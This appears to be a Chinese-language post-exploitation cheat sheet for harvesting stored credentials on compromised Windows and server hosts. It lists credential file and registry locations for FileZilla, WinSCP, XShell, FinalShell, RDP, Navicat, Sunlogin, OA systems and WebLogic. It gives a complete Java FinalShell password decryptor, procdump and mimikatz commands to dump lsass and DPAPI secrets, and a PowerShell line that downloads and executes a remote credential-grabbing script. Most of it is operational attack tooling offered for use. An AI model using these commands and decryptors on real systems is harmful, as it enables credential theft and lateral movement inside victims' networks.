内网凭证东搜西罗

%userprofile%AppDataRoamingFileZillarecentservers.xml

<Host>192.168.192.129</Host><Port>21</Port><User>ftpadmin</User><Pass encoding="base64">ZnRwQDEyMw==</Pass>

reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessions"reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessionsroot@192.168.192.128"winscppwd.exe root 192.168.192.128 密文

https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml#download

XShell5：%userprofile%DocumentsNetSarangXshellSessionsXShell6：%userprofile%DocumentsNetSarang Computer6XshellSessions

python Xdecrypt.py -s user+sid -p %userprofile%DocumentsNetSarangXshellSessions

%userprofile%AppDataLocalfinalshellconnxxx.json

import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Base64;import java.util.Random;
import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass {    public static void main(String[] args)throws Exception {        System.out.println(decodePass(args[0]));    }    public static byte[] desDecode(byte[] data, byte[] head) throws Exception {        SecureRandom sr = new SecureRandom();        DESKeySpec dks = new DESKeySpec(head);        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");        SecretKey securekey = keyFactory.generateSecret(dks);        Cipher cipher = Cipher.getInstance("DES");        cipher.init(2, securekey, sr);        return cipher.doFinal(data);    }    public static String decodePass(String data) throws Exception {        if (data == null) {            return null;        } else {            String rs = "";            byte[] buf = Base64.getDecoder().decode(data);            byte[] head = new byte[8];            System.arraycopy(buf, 0, head, 0, head.length);            byte[] d = new byte[buf.length - head.length];            System.arraycopy(buf, head.length, d, 0, d.length);            byte[] bt = desDecode(d, ranDomKey(head));            rs = new String(bt);
            return rs;        }    }    static byte[] ranDomKey(byte[] head) {        long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);        Random random = new Random(ks);        int t = head[0];
        for(int i = 0; i < t; ++i) {            random.nextLong();        }
        long n = random.nextLong();        Random r2 = new Random(n);        long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};        ByteArrayOutputStream bos = new ByteArrayOutputStream();        DataOutputStream dos = new DataOutputStream(bos);        long[] var15 = ld;        int var14 = ld.length;
        for(int var13 = 0; var13 < var14; ++var13) {            long l = var15[var13];
            try {                dos.writeLong(l);            } catch (IOException var18) {                var18.printStackTrace();            }        }
        try {            dos.close();        } catch (IOException var17) {            var17.printStackTrace();        }
        byte[] keyData = bos.toByteArray();        keyData = md5(keyData);        return keyData;    }    public static byte[] md5(byte[] data) {        String ret = null;        byte[] res=null;
        try {            MessageDigest m;            m = MessageDigest.getInstance("MD5");            m.update(data, 0, data.length);            res=m.digest();            ret = new BigInteger(1, res).toString(16);        } catch (NoSuchAlgorithmException e) {            e.printStackTrace();        }        return res;    }}

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full

reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"

dir /a %userprofile%AppDataLocalMicrosoftCredentials*

dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt

dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值 /masterkey:masterkey值

https://www.nirsoft.net/utils/network_password_recovery.html

安装版：C:Program FilesOraySunLoginSunloginClientconfig.ini便携版(绿色版)：C:ProgramDataOraySunloginClientconfig.ini

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"

HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServerslocalhost

/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties

/nchome/ierp/bin/prop.xml

D:WEAVERecologyWEB-INFpropweaver.properties

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml

db.propertiesjdbc.propertiesdbpool.propertiesconfig.propertiessso-config.propertiesminaconfig.propertiesmissCallAlertExclude.propertiesurl_img.propertieswebapp.propertiesProxool.propertiesapplication.properties

/apache-activemq/conf/jetty-realm.properties

weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat

/weblogic/user_projects/domains/base_domain/config/config.xml

/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml

/bea/Oracle/Middleware/wlserver_10.3/common/bin

domain = "/bea/Oracle/Middleware/user_projects/domains/base_domain"service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)

print "Weblogic server Admin password: %s" %encryption.decrypt("{AES}xxxxxxxx")